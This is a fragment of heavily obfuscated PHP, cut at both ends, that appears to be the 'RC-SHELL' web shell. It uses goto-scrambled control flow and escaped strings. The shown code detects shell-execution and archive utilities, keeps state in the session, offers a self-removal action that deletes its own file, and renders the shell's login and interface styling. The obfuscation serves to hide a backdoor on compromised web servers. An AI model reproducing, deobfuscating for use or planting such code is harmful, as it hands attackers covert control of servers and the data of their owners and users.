. ($o != '' ? z9k() : '') . "\x3e"; } goto rspvC; C3dIh: function z4j($f) { return z2r($f, "\x64"); } goto HpxPY; s70Qt: function z9l($t = '', $n = '') { return "\74\x66\x6f\x72\x6d\x20\x6d\145\164\150\157\x64\x3d\42\x50\x4f\123\x54\42\x20\x61\x63\x74\x69\x6f\x6e\75\42\x22" . ($t != '' ? "\x20\x74\141\162\147\x65\x74\75\42\137\142\x6c\141\x6e\x6b\42" : '') . ($n != '' ? "\40\156\141\155\145\x3d\x22" . $n . "\42\x20\x69\144\x3d\42" . $n . "\x22" : '') . "\76"; } goto gUbZN; kBIfF: if ($nix && $sh_exec) { if (!@isset($cmd_tar)) { if (@isset($_SESSION["\x63\x6d\144\137\x74\141\x72"])) { $cmd_tar = $_SESSION["\143\155\144\137\164\141\x72"]; } else { $cmd_tar = z8u("\164\141\x72"); } } $_SESSION["\x63\155\x64\x5f\x74\x61\x72"] = $cmd_tar; if (!@isset($cmd_unrar)) { if (@isset($_SESSION["\143\x6d\x64\137\165\156\162\141\162"])) { $cmd_unrar = $_SESSION["\x63\155\144\x5f\x75\156\x72\141\x72"]; } else { $cmd_unrar = z8u("\x75\x6e\162\x61\x72"); } } $_SESSION["\x63\x6d\x64\137\165\156\162\141\x72"] = $cmd_unrar; if (!@isset($cmd_unzip)) { if (@isset($_SESSION["\x63\x6d\144\x5f\165\156\x7a\151\160"])) { $cmd_unzip = $_SESSION["\x63\155\x64\x5f\x75\156\x7a\x69\x70"]; } else { $cmd_unzip = z8u("\x75\156\172\151\160"); } } $_SESSION["\x63\155\144\137\165\156\172\x69\160"] = $cmd_unzip; if (!@isset($cmd_gunzip)) { if (@isset($_SESSION["\143\x6d\x64\137\x67\165\156\x7a\x69\160"])) { $cmd_gunzip = $_SESSION["\143\x6d\x64\137\147\165\156\x7a\151\160"]; } else { $cmd_gunzip = z8u("\147\165\156\172\151\x70"); } } $_SESSION["\143\155\144\137\x67\x75\x6e\172\151\x70"] = $cmd_gunzip; if (!@isset($cmd_bunzip2)) { if (@isset($_SESSION["\143\155\x64\137\x62\x75\x6e\172\151\x70\62"])) { $cmd_bunzip2 = $_SESSION["\x63\x6d\144\137\142\x75\x6e\172\x69\160\62"]; } else { $cmd_bunzip2 = z8u("\x62\165\156\172\151\x70\62"); } } $_SESSION["\x63\155\x64\137\x62\x75\156\172\151\160\x32"] = $cmd_bunzip2; if (!@isset($reg_archives)) { if (@isset($_SESSION["\x72\x65\x67\x5f\x61\162\x63\150\151\x76\145\163"])) { $reg_archives = $_SESSION["\162\x65\147\x5f\x61\x72\143\150\x69\x76\x65\163"]; } else { $reg_archives = ''; if (!@empty($cmd_unrar)) { $reg_archives .= "\162\x61\x72\x7c"; } if (!@empty($cmd_unzip)) { $reg_archives .= "\172\151\160\x7c"; } if (!@empty($cmd_tar) && !@empty($cmd_gunzip)) { $reg_archives .= "\x74\x61\162\56\147\172\174\x74\147\172\174"; } if (!@empty($cmd_tar) && !@empty($cmd_bunzip2)) { $reg_archives .= "\x74\141\162\56\142\172\62\174"; } if (!@empty($cmd_tar)) { $reg_archives .= "\x74\141\x72\x7c"; } if (!@empty($cmd_gunzip)) { $reg_archives .= "\x67\172\174"; } if (!@empty($cmd_bunzip2)) { $reg_archives .= "\x62\172\62\x7c"; } if (!@empty($reg_archives)) { $reg_archives = @substr($reg_archives, 0, @strlen($reg_archives) - 1); } } } $_SESSION["\162\x65\147\x5f\x61\x72\x63\150\151\x76\145\x73"] = $reg_archives; } goto NaQu7; NRBeg: if ($act == "\x73\145\154\146\162\x65\x6d\157\x76\x65") { if (@isset($dconfirm) && $dconfirm) { if ($saddr != "\61\x32\67\56\x30\56\x30\x2e\x31") { echo z2b(@unlink(__FILE__) ? z9s("\64\x36\62") : z9s("\x34\66\x33", __FILE__)); } } else { echo z2b(z9s("\x34\x36\60")); echo z6d() . z10e(z7i(z6x(z8e(z9s("\64\66\x31")) . z5c(array("\141\x63\x74" => "\163\x65\x6c\x66\162\x65\155\157\166\145", "\x64", "\x64\143\157\156\146\151\x72\x6d" => "\61"), z8v(z9s("\62\x31"), "\67")) . z9c() . z5c($back_form_actions, z8v(z9s("\62\x32"), "\67")))), "\x32") . z6d(); } } goto kMxJ6; h2iHX: function z3l($login = 0) { global $act, $use_images, $sh_exec, $safe_exec, $ft, $nogradient; echo "\74\x21\x44\x4f\x43\124\x59\120\105\x20\x48\x54\x4d\114\x20\x50\x55\x42\x4c\111\103\40\x22\55\x2f\57\127\63\103\x2f\57\x44\x54\x44\40\110\x54\x4d\114\x20\64\56\60\x31\40\124\x72\x61\156\x73\x69\164\151\x6f\x6e\141\x6c\x2f\57\105\116\42\x20\x22\x68\x74\164\160\x3a\57\x2f\167\x77\x77\x2e\167\x33\56\x6f\x72\147\57\x54\x52\57\150\164\x6d\x6c\x34\x2f\154\157\x6f\163\x65\x2e\144\x74\x64\x22\76\12\74\150\x74\x6d\154\x3e\12\x3c\x68\x65\141\144\x3e\12\74\155\x65\x74\x61\x20\x68\164\x74\160\55\145\x71\165\151\166\x3d\x22\103\157\156\x74\x65\156\164\x2d\124\171\x70\145\42\40\x63\x6f\x6e\x74\145\156\x74\x3d\42\164\x65\x78\164\x2f\150\164\155\154\42\x3e\12" . ($use_images ? "\74\154\151\156\x6b\x20\x72\x65\154\x3d\42\x73\x68\157\x72\x74\x63\165\x74\x20\x69\x63\157\156\x22\40\x68\x72\x65\146\75\42\x3f\x61\x63\x74\x3d\x69\46\141\x6d\160\x3b\151\155\x67\x3d\x65\170\145\x22\76" : '') . "\12" . (!$login ? "\x3c\164\x69\x74\x6c\145\x3e\x5b\40\x52\103\55\x53\110\105\x4c\x4c\x20\x76" . z7x("\x30") . (!@empty($_SERVER["\123\105\122\126\x45\122\137\116\x41\x4d\105"]) ? "\x20\x2d\40" . $_SERVER["\123\105\x52\x56\105\x52\137\x4e\x41\115\105"] : '') . (!@empty($_SERVER["\123\x45\122\x56\105\x52\x5f\101\104\x44\122"]) ? "\x20\55\40" . $_SERVER["\x53\105\x52\x56\105\x52\x5f\x41\104\104\122"] : '') . "\40\x5d\74\x2f\164\x69\x74\x6c\x65\x3e" : "\x3c\x74\151\x74\x6c\x65\76" . z9s("\60") . "\74\x2f\x74\x69\164\154\x65\76") . "\xa\74\x73\164\171\x6c\145\40\164\171\x70\145\x3d\x22\x74\145\170\164\x2f\143\163\x73\42\x3e\xa\x62\157\x64\171\54\40\164\x61\x62\x6c\x65\54\x20\x74\162\54\40\x74\x64\54\40\x64\x69\x76\54\40\x73\x65\154\145\143\164\54\40\151\x6e\x70\165\x74\x2c\x20\164\145\x78\x74\x61\162\145\141\x2c\x20\160\162\145\x2c\x20\143\157\x64\x65\40\173\40\146\x6f\x6e\x74\x3a\x20\x31\60\60\x25\x20" . z9w("\146\157\x6e\164\x66\x61\x6d") . "\x3b\x20\164\x65\x78\x74\55\x64\x65\143\x6f\162\141\164\151\157\156\72\x20\x6e\x6f\x6e\145\73\x20\175\xa\164\x64\54\40\x64\151\166\x20\173\x20\155\x61\170\x2d\167\x69\144\x74\150\x3a\40" . z7x("\x35", "\x77\x69\144\164\x68") . "\x70\x78\73\x20\x7d\12\151\156\x70\165\x74\54\x20\163\145\x6c\145\x63\x74\x2c\40\x74\x65\170\164\141\162\x65\141\x20\x7b\40\142\157\x72\x64\x65\162\72\x20\60\x3b\40\x70\141\x64\144\151\x6e\x67\72\x20\x30\x3b\40\x7d\xa\151\x6e\x70\x75\x74\x2c\40\x73\145\x6c\145\143\164\54\40\x74\x65\x78\x74\141\162\145\141\40\173\40\55\x77\145\142\x6b\x69\x74\x2d\142\x6f\x78\55\163\x69\x7a\151\156\147\x3a\40\x62\x6f\162\144\x65\x72\55\142\x6f\170\73\40\55\155\157\x7a\55\x62\157\170\55\163\151\172\151\x6e\147\x3a\40\x62\157\162\144\145\162\x2d\142\x6f\x78\x3b\40\142\x6f\170\55\x73\x69\172\x69\156\x67\x3a\x20\142\x6f\x72\x64\x65\x72\x2d\x62\x6f\x78\x3b\40\55\x6d\x73\55\142\157\x78\55\x73\x69\x7a\x69\156\x67\72\x20\142\x6f\x72\144\x65\x72\x2d\142\157\x78\73\x20\x7d\xa\151\x6e\160\x75\x74\x3a\x3a\55\x6d\x6f\x7a\55\146\157\x63\x75\163\55\151\156\156\145\162\40\173\x20\142\157\162\144\x65\162\x3a\40\60\x3b\160\141\x64\144\151\x6e\147\x3a\x20\x30\x3b\x20\x7d\12\x62\x6f\x64\x79\40\173\40\142\141\143\x6b\147\162\x6f\x75\156\x64\x2d\x63\157\154\157\x72\x3a\40" . z9w("\x62\x6f\144\x79\142\147") . "\73\40\x66\x6f\156\164\x2d\146\141\x6d\x69\154\171\x3a\x20" . z9w("\x66\x6f\x6e\x74\x66\141\155") . "\40\41\x69\x6d\x70\157\162\x74\x61\156\164\x3b\40\146\x6f\x6e\164\55\163\151\172\x65\x3a\x20\61\60\x70\170\x20\x21\x69\x6d\x70\x6f\162\x74\141\156\x74\x3b\40\143\157\x6c\157\x72\x3a\x20" . z9w("\x66\x6f\156\164\x63\157\x6c\157\162") . "\x3b\x7d\xa\x2a\x3a\x66\157\x63\165\163\x20\x7b\x6f\165\164\x6c\151\x6e\x65\72\x20\156\x6f\x6e\145\73\175\12\56\x62\165\x74\x31\54\40\x2e\142\165\164\62\54\x20\x2e\142\x75\164\x33\54\x20\x2e\141\143\x74\x62\165\x74\x2c\40\x2e\142\x75\x74\61\x3a\141\143\164\x69\x76\x65\54\x20\x2e\x62\165\164\x32\72\x61\x63\x74\x69\166\x65\x2c\40\x2e\142\x75\x74\x33\72\141\143\x74\151\166\145\40\x2e\x61\x63\x74\142\x75\164\x3a\141\143\x74\x69\166\145\x20\x7b\40\x62\157\162\144\145\x72\72\40\61\x70\170\40\163\157\x6c\151\x64\40\43\143\x63\143\143\143\143\73\40\x6d\141\162\x67\151\156\x2d\x6c\145\x66\164\x3a\40\x31\160\x78\x3b\x20\x74\x65\x78\164\x2d\x73\150\x61\144\157\x77\72\x20\61\160\170\40\61\160\x78\40\x32\160\170\40\43\146\x66\146\x66\x66\146\73\x20\x76\x65\x72\164\x69\143\x61\x6c\55\141\x6c\x69\x67\156\x3a\x20\155\x69\144\144\154\145\x3b\40\x7d\xa\56\x62\x75\x74\x31\x2c\40\56\x62\165\x74\62\54\40\56\x62\x75\x74\63\54\x20\x2e\x61\x63\x74\142\165\x74\40\173\40" . z2o("\43\106\65\106\65\x46\x35", "\x23\x45\60\x45\x30\105\x30") . "\x20\x7d\xa\x2e\142\165\164\x31\72\x68\157\166\x65\162\x2c\40\56\142\165\164\x32\72\x68\x6f\x76\x65\x72\x2c\40\56\x62\165\x74\63\72\150\x6f\166\145\x72\x2c\x20\x2e\x61\x63\164\142\165\x74\72\150\x6f\x76\145\x72\40\173\40" . z2o("\x23\x45\x30\105\x30\105\x30", "\x23\106\x35\106\x35\106\65") . "\x20\143\165\162\163\x6f\x72\x3a\x20\x70\157\x69\x6e\164\145\x72\73\x20\175\xa\x2e\x62\x75\x74\61\x20\173\x20\167\x69\144\164\150\72\x20\62\x38\x70\x78\x3b\x20\150\x65\151\147\x68\164\72\40\x31\70\x70\170\x3b\x20\x66\157\x6e\x74\x2d\x73\x69\172\x65\x3a\x20\61\x30\160\x78\x3b\x20\146\157\156\x74\x2d\167\145\151\147\150\164\x3a\40\142\157\x6c\x64\73\x20\175\12\56\142\x75\164\62\40\x7b\40\x63\x6f\154\x6f\x72\x3a\40\x23\x34\x46\64\106\x34\x46\73\x20\160\x61\x64\144\151\x6e\147\x3a\40\x30\40\x31\60\x70\x78\x20\60\x20\x31\60\x70\x78\73\40\x68\x65\151\x67\x68\x74\72\40\62\60\160\170\x3b\40\146\x6f\x6e\164\x2d\163\x69\172\145\x3a\x20\61\60\160\170\x3b\x20\175\12\x2e\141\x63\164\x62\x75\x74\40\x7b\40\143\157\154\157\x72\x3a\40\x23\x34\106\64\106\64\106\73\x20\160\141\x64\144\151\x6e\x67\x3a\40\60\x20\61\x30\160\170\x20\60\40\61\x30\160\x78\x3b\x20\150\145\x69\x67\150\x74\72\40\61\x38\160\170\x3b\40\146\x6f\x6e\x74\x2d\x73\151\x7a\145\x3a\x20\61\x30\160\170\x3b\x20\x66\157\x6e\x74\55\167\145\151\147\x68\x74\x3a\x20\156\157\162\155\x61\x6c\x3b\x20\175\12" . ($login ? "\xa\56\154\x6f\147\151\x6e\40\173\x20\x62\141\x63\x6b\x67\162\157\165\156\x64\x3a\40" . z9w("\164\x61\x62\154\145\x62\x67") . "\x3b\40\142\157\162\x64\x65\x72\72\x20\61\160\x78\x20\163\x6f\154\x69\x64\x20" . z9w("\164\141\142\154\145\142\157\162\144\145\162") . "\73\x20\55\x6d\157\172\55\x62\x6f\170\x2d\x73\150\141\x64\x6f\167\x3a\40" . z9w("\x74\x61\142\154\x65\163\150\141\144\x6f\167") . "\x20\60\x20\x30\x20\70\160\x78\73\x20\55\167\x65\x62\153\x69\164\55\x62\x6f\x78\x2d\x73\x68\141\144\157\167\72\40\60\x20\60\40\70\x70\170\x20" . z9w("\164\141\142\154\x65\163\150\x61\x64\157\167") . "\x3b\x20\x62\157\170\x2d\163\x68\x61\144\157\x77\72\x20\60\x20\x30\x20\70\x70\170\40" . z9w("\164\141\x62\154\x65\163\x68\x61\144\157\x77") . "\73\x20\155\x61\x72\147\151\156\55\164\157\160\72\40\x31\65\60\160\x78\x3b\40\160\141\x64\x64\151\x6e\147\x3a\40\x31\60\x70\x78\73\40\x74\145\x78\x74\55\141\154\151\147\x6e\x3a\40\154\x65\x66\164\x3b\x20\x7d\xa\56\154\157\x67\x69\x6e\40\x74\x64\40\x7b\40\x70\x61\144\x64\x69\x6e\147\x3a\40\60\x3b\40\175\12\x2e\x6c\157\147\151\156\40\x69\x6e\x70\x75\164\40\x7b\x20\x20\142\141\x63\x6b\x67\x72\x6f\x75\x6e\144\55\x63\157\154\157\x72\x3a\40\43\106\x46\x46\106\x46\106\73\x20\142\x6f\x72\x64\x65\162\72\40\x31\x70\x78\x20\x73\157\154\151\144\40\43\103\103\x43\103\103\103\73\40\143\157\x6c\157\162\x3a\40\43\63\63\x33\63\63\63\x3b\x20\x6d\x61\162\147\151\156\x3a\40\x31\160\x78\73\x20\155\141\162\147\151\156\55\162\x69\147\x68\164\x3a\x20\x30\73\x20\x68\x65\151\x67\x68\164\x3a\x32\x30\160\170\x3b\40\167\x69\x64\164\x68\72\x31\x35\x30\160\170\73\40\146\157\156\164\x2d\163\x69\x7a\145\x3a\40\x31\60\160\x78\x3b\40\164\x65\x78\164\x2d\163\150\141\144\157\x77\x3a\x20\x31\x70\x78\x20\61\160\x78\40\65\160\x78\40\x23\x64\x64\x64\x64\144\x64\x3b\40\166\145\x72\x74\151\143\141\154\55\x61\154\151\147\156\x3a\x20\x6d\151\144\x64\154\145\x3b\40\x7d\xa\x2e\x6c\x65\x72\x72\x6f\162\40\173\x20\x63\x6f\154\x6f\162\72\40" . z9w("\x65\162\x72\x63\157\154\157\x72") . "\73\x20\x70\141\x64\144\x69\156\147\55\142\x6f\x74\164\157\x6d\72\x20\61\x30\x70\170\40\x21\151\155\x70\x6f\162\x74\x61\156\x74\73\40\175\12" : "\xa\56\x63\157\156\164\141\x69\x6e\145\x72\x20\x7b\40\x62\x61\x63\x6b\147\x72\x6f\x75\x6e\144\x3a\40" . z9w("\x74\x61\x62\154\x65\x62\x67") . "\x3b\40\x77\x69\144\x74\x68\x3a\40" . z7x("\65", "\x77\x69\x64\164\x68") . "\x70\x78\x3b\40\x62\157\x72\x64\x65\x72\x3a\40\x31\x70\170\40\163\x6f\x6c\151\x64\40" . z9w("\164\141\142\154\x65\142\157\x72\144\x65\162") . "\x3b\40\55\x6d\x6f\172\x2d\x62\157\170\x2d\163\150\141\144\x6f\167\72\x20" . z9w("\x74\x61\142\x6c\x65\x73\150\141\144\157\x77") . "\40\60\x20\x30\40\70\160\170\x3b\40\x2d\x77\x65\x62\x6b\x69\164\55\142\x6f\x78\55\x73\x68\x61\x64\x6f\167\72\x20\60\x20\60\x20\x38\160\170\x20" . z9w("\164\x61\142\x6c\145\163\x68\141\144\157\x77") . "\x3b\40\142\157\x78\x2d\x73\x68\141\144\157\x77\x3a\x20\x30\40\x30\x20\x38\160\x78\x20" . z9w("\x74\x61\x62\154\x65\163\150\x61\144\157\x77") . "\x3b\40\x7d\xa\x66\157\x72\155\x20\173\x20\x64\151\163\160\x6c\141\171\72\x20\151\156\x6c\151\x6e\145\x3b\40\x7d\12\154\141\x62\x65\x6c\40\x7b\x20\144\x69\163\160\154\141\x79\x3a\40\151\x6e\x6c\x69\156\145\x2d\142\154\x6f\x63\153\x3b\x20\x76\x65\162\x74\x69\x63\x61\154\55\141\x6c\x69\147\156\72\40\142\141\163\145\154\x69\x6e\x65\73\x20\175\12\141\40\173\x20\164\x65\x78\x74\55\x64\x65\x63\157\x72\141\x74\151\x6f\x6e\72\x20\x6e\157\x6e\x65\x3b\x20\175\xa\x2e\x6c\x69\156\x6b\x73\x2c\x20\56\x6c\151\x6e\153\x73\72\141\x63\164\x69\166\x65\x2c\x20\x2e\154\x69\x6e\153\163\x3a\x76\151\x73\151\164\x65\x64\x20\x7b\40\142\141\x63\153\147\x72\x6f\x75\x6e\144\x2d\143\157\x6c\157\x72\72\40\164\x72\x61\x6e\x73\x70\141\x72\145\156\x74\x3b\40\x63\x6f\x6c\x6f\162\x3a\x20" . z9w("\x74\x6c\x69\x6e\153\x63\157\x6c\x6f\162") . "\x3b\x20\164\x65\170\164\x2d\163\x68\x61\144\x6f\x77\x3a\40\61\x70\170\x20\x31\160\x78\40\63\x70\170\40" . z9w("\x74\x6c\x69\x6e\x6b\x73\150\141\144\x6f\x77") . "\73\40\x70\141\x64\144\x69\x6e\x67\x3a\40\60\73\x20\146\157\x6e\164\x2d\x73\x69\x7a\145\72\x20\61\60\x70\170\x3b\x20\x66\157\x6e\x74\55\x77\145\x69\147\x68\x74\x3a\156\x6f\x72\x6d\141\x6c\x3b\40\166\x65\x72\164\151\143\x61\x6c\x2d\141\x6c\151\147\156\x3a\40\x6d\x69\x64\x64\x6c\145\73\x20\166\145\x72\x74\x69\x63\141\x6c\x2d\141\x6c\x69\x67\156\72\x20\x69\156\150\x65\x72\151\164\x20\41\151\x6d\x70\x6f\162\164\x61\x6e\x74\73\40\175\12\56\x6c\x69\x6e\153\x73\x3a\150\157\x76\145\162\x20\173\x20\143\x6f\154\157\162\72\x20" . z9w("\x74\x6c\151\156\153\143\157\x6c\157\x72\x68\157\166\x65\x72") . "\73\40\x63\x75\162\x73\157\162\x3a\x20\160\x6f\x69\x6e\x74\145\x72\x3b\x20\x7d\12\x2e\x73\154\x69\156\153\x73\x20\x7b\40\142\x61\x63\x6b\x67\162\157\x75\x6e\144\55\143\157\x6c\157\162\72\x20\x74\x72\x61\156\163\160\x61\x72\x65\156\164\x3b\x20\x63\x6f\x6c\x6f\x72\x3a\x20" . z9w("\x64\151\162\x63\157\x6c\x6f\162") . "\x3b\x20\146\157\x6e\164\x2d\163\151\x7a\145\72\40\x31\61\160\x78\73\x20\146\x6f\156\x74\x2d\167\145\x69\147\x68\x74\x3a\40\156\157\162\x6d\141\154\x3b\x20\175\12\56\x73\154\x69\156\153\163\x3a\150\x6f\166\x65\x72\40\x7b\x20\x63\165\x72\163\157\x72\x3a\40\x70\x6f\x69\x6e\x74\x65\162\x3b\x20\175\xa\x2e\163\x69\156\146\157\40\173\40\x77\151\x64\x74\150\72\40\x31\60\x30\x25\x3b\40\x7d\xa\56\164\x64\163\x69\156\146\157\40\173\x20" . z2o(z9w("\x74\142\x61\162\x62\x67\x31"), z9w("\164\142\141\162\x62\147\x32")) . "\x20\x62\x6f\162\144\x65\x72\55\x62\157\x74\164\x6f\x6d\72\x20\61\160\170\40\163\x6f\154\x69\144\40" . z9w("\164\142\x61\x72\x62\157\162\x64\x65\x72\x62") . "\73\40\142\x6f\x72\144\x65\162\55\x74\x6f\x70\x3a\x20\61\160\x78\x20\163\157\x6c\x69\144\x20" . z9w("\x74\142\141\x72\142\157\162\144\145\162\x74") . "\73\x20\x70\x61\x64\144\x69\156\x67\72\x20\64\x70\170\73\x20\175\xa\x2e\164\144\163\x69\156\146\157\x20\x2e\154\151\156\153\x73\40\173\x20\146\157\x6e\164\55\x73\x69\x7a\x65\x3a\40\x39\x70\x78\x3b\40\x7d\xa\56\x74\144\x73\x69\x6e\146\x6f\x20\x73\x70\x61\156\40\173\40\x76\x65\162\164\151\x63\141\x6c\x2d\x61\154\151\147\156\x3a\x20\x6d\x69\x64\x64\154\145\x3b\40\175\xa\56\164\x6f\x70\x63\x66\x20\x7b\40\166\x65\162\164\151\x63\141\154\55\x61\x6c\151\147\x6e\72\40\155\x69\x64\144\154\x65\73\40\175\xa\x2e\x74\x6f\160\164\40\x7b\40" . z2o(z9w("\164\x6f\x70\x62\x67\x31"), z9w("\164\x6f\160\x62\147\62")) . "\40\x62\x6f\x72\144\145\162\x2d\164\x6f\x70\x3a\x20\x31\160\170\x20\163\157\x6c\151\x64\x20" . z9w("\x74\157\x70\x62\x6f\x72\144\x65\x72\61") . "\x3b\40\143\157\x6c\x6f\162\72\40" . z9w("\x74\157\160\x63\157\x6c\157\162") . "\x3b\40\x74\145\x78\164\x2d\x73\150\141\144\157\x77\x3a\40\x31\160\x78\40\61\x70\x78\40\x35\160\170\40" . z9w("\164\x6f\160\163\x68\x61\144\157\x77") . "\x3b\40\x70\x61\144\144\x69\156\147\x2d\x74\157\x70\x3a\x20\61\60\160\x78\x3b\x20\x66\x6f\156\x74\x2d\x73\x69\x7a\145\x3a\40\71\160\170\73\x20\146\157\x6e\x74\x2d\x77\x65\x69\x67\150\x74\72\40\142\x6f\x6c\144\x3b\40\x76\145\x72\x74\x69\143\141\x6c\x2d\x61\x6c\x69\147\156\x3a\40\x6d\x69\x64\144\154\145\73\x20\175\xa\x2e\x74\x6f\x70\x63\40\x7b\40\x62\141\143\153\147\162\157\x75\156\x64\x3a\x20" . (@isset($nogradient) && $nogradient ? z9w("\164\x6f\160\142\x67\61") : z9w("\164\x6f\x70\x62\x67\x32")) . "\x3b\x20\x63\157\x6c\x6f\x72\x3a\40" . z9w("\164\x6f\x70\x63\157\x6c\x6f\x72") . "\x3b\40\x70\x61\144\144\151\156\x67\x2d\142\157\164\x74\157\x6d\72\x20\61\60\160\170\x3b\40\166\145\162\164\x69\143\x61\154\55\x61\x6c\151\x67\156\72\40\155\151\144\x64\x6c\x65\x3b\40\x7d\xa\56\x6e\x61\x76\x20\173\40" . z2o("\43\146\146\146\146\x66\146", "\x23\x66\63\146\63\x66\x33") . "\40\142\157\162\x64\145\162\55\x62\x6f\164\x74\x6f\155\72\40\x31\x70\x78\x20\163\x6f\x6c\x69\144\x20\x23\x66\60\146\60\146\x30\x3b\x20\160\x61\144\x64\151\x6e\x67\72\x20\62\160\170\x20\x30\40\62\x70\170\x20\62\160\x78\73\x20\167\151\x64\x74\150\x3a\40\61\x30\x30\x25\73\40\175\xa\x2e\x66\x6f\157\x74\x65\162\x20\x7b\40\x77\x69\144\164\x68\72\x20\61\60\x30\x25\x3b\40\x7d\12\56\x74\x64\x66\157\157\164\x65\x72\40\173\40" . z2o(z9w("\x66\x6f\157\x74\145\x72\142\x67\61"), z9w("\146\157\x6f\x74\145\x72\142\x67\62")) . "\x20\x62\x6f\x72\144\x65\x72\x2d\x74\157\160\72\x20\61\160\170\x20\x73\157\154\151\x64\x20" . z9w("\146\157\157\x74\145\162\142\157\162\144\145\x72\61") . "\73\40\160\141\144\144\151\156\147\x3a\x20\x33\x70\x78\x3b\40\143\157\x6c\157\x72\72\x20" . z9w("\x66\157\157\x74\x65\162\x63\x6f\x6c\x6f\x72") . "\73\40\x74\x65\170\x74\55\163\x68\141\144\x6f\167\72\40\x31\x70\x78\x20\61\x70\170\x20\65\x70\x78\40" . z9w("\146\157\x6f\x74\x65\x72\x73\x68\x61\144\157\x77") . "\x3b\40\x66\157\x6e\164\x2d\x73\x69\172\x65\72\40\71\160\x78\73\40\146\157\x6e\164\55\x77\145\151\x67\150\x74\72\40\142\x6f\154\144\73\x20\166\145\x72\x74\151\x63\141\154\x2d\x61\x6c\x69\147\156\72\x20\155\x69\144\x64\154\145\x3b\40\175\xa\x2e\x68\x65\141\x64\156\146\x6f\40\x7b\x20\x77\x69\144\x74\x68\x3a\x20\61\60\x30\x25\73\40\175\xa\56\x71\154\40\173\40\167\x69\x64\164\150\72\x20\61\60\x30\45\x3b\x20\175\xa\56\x74\144\x71\x6c\40\x7b\x20\x62\x61\143\153\x67\x72\x6f\165\156\x64\55\143\x6f\154\x6f\x72\x3a\40\x74\x72\141\x6e\x73\x70\x61\162\145\156\164\x3b\x20\x62\x6f\x72\144\x65\162\x2d\x74\157\160\x3a\x20\61\x70\170\40\x73\x6f\x6c\x69\144\x20" . z9w("\161\154\142\x67\62") . "\x3b\40\142\157\x72\x64\145\162\55\142\157\164\164\157\155\x3a\40\63\x70\170\40\163\157\x6c\x69\x64\40\43\x45\60\105\x30\105\x30\73\40\x7d\xa\56\161\154\61\54\x20\56\161\x6c\62\x2c\40\56\x71\x6c\x62\x61\143\153\x20\x7b\40\146\x6f\156\x74\55\163\151\x7a\x65\x3a\40\61\x30\160\170\x3b\40\146\157\156\164\x2d\x77\145\x69\147\150\x74\72\40\x62\x6f\154\x64\73\40\175\12\56\161\154\61\x20\x7b\40" . z2o("\43\x66\145\146\145\146\145", "\x23\105\x30\x45\60\x45\x30", 1) . "\x20\x62\x6f\162\x64\x65\x72\x3a\x20\x31\160\x78\x20\x73\x6f\x6c\151\x64\40\x23\x45\x46\105\101\x45\x46\x3b\40\142\157\x72\144\x65\x72\x2d\x62\157\x74\x74\157\155\x3a\x20\60\x3b\x20\143\157\154\157\162\72\x20\43\60\x33\x30\x33\x30\x33\73\40\x77\x69\144\x74\x68\x3a\x31\x30\x30\45\x3b\40\150\x65\x69\x67\150\164\72\40\x32\62\x70\170\73\40\x74\x65\x78\x74\x2d\163\x68\x61\144\x6f\167\x3a\x20\43\143\143\x63\143\143\143\x20\x32\160\x78\40\x2d\x31\x70\x78\x20\x31\x30\160\x78\73\x20\175\xa\x2e\x71\154\62\40\x7b\40" . z2o(z9w("\161\154\x62\x67\61"), z9w("\161\154\142\x67\x32"), 1) . "\x20\x63\157\154\x6f\x72\x3a\40" . z9w("\x71\x6c\143\x6f\154\x6f\162") . "\x3b\x20\142\x6f\162\x64\145\x72\55\x74\x6f\160\72\x20\61\160\x78\40\x73\x6f\x6c\x69\144\x20" . z9w("\x71\154\x62\x6f\x72\x64\145\x72") . "\x3b\x20\x62\x6f\162\144\145\162\x2d\x6c\x65\146\164\72\x20\x30\x3b\40\142\x6f\x72\144\145\162\55\x72\x69\x67\150\164\x3a\x20\x30\73\x20\142\157\x72\x64\x65\x72\55\x62\157\164\164\x6f\x6d\x3a\40\x31\160\170\x20\163\157\x6c\151\144\x20\x23\x45\106\x45\x41\105\x46\73\x20\x77\x69\x64\164\150\x3a\x31\60\60\x25\73\40\150\x65\151\147\150\164\x3a\40\x32\x32\160\170\73\40\164\x65\170\164\x2d\163\x68\x61\x64\x6f\167\72\40" . z9w("\x71\154\x73\x68\x61\x64\x6f\x77") . "\40\x32\160\x78\x20\x2d\61\x70\x78\x20\x31\60\160\170\x3b\40\x7d\xa\x2e\x71\x6c\142\141\143\153\40\x7b\40" . z2o(z9w("\161\154\142\x67\61"), z9w("\x71\x6c\142\147\62"), 1) . "\x20\142\157\x72\x64\145\162\55\x74\157\x70\72\40\61\160\170\40\163\x6f\154\151\x64\x20" . z9w("\x71\x6c\x62\157\x72\144\145\x72") . "\x3b\40\142\157\x72\x64\x65\162\x2d\142\x6f\164\x74\157\155\72\40\61\x70\x78\x20\x73\157\154\151\x64\40\43\105\106\105\101\x45\x46\73\40\x63\157\154\x6f\162\x3a\x20" . z9w("\x71\154\143\x6f\x6c\x6f\x72") . "\73\40\x77\x69\x64\164\150\x3a\61\x30\60\45\73\40\164\x65\170\x74\55\x73\150\141\144\157\167\72\40" . z9w("\x71\154\163\150\x61\144\157\x77") . "\40\x32\160\170\40\x2d\61\x70\170\x20\61\x30\160\x78\x3b\40\150\x65\151\147\150\x74\72\x20\62\x32\x70\170\x3b\x20\x63\x75\162\163\x6f\x72\x3a\40\160\157\151\156\x74\145\x72\73\x20\175\xa\56\x71\154\x31\72\150\x6f\x76\145\162\40\x7b\x20\143\165\x72\x73\157\x72\x3a\x70\157\151\x6e\x74\145\162\x3b\x20\x7d\xa\x2e\x71\154\62\72\150\157\166\x65\x72\x2c\x20\x2e\161\x6c\142\141\143\x6b\x3a\x68\157\166\145\162\40\x7b\x20\143\157\x6c\x6f\162\72\x20" . z9w("\161\154\143\157\154\157\162\x68\157\166\145\162") . 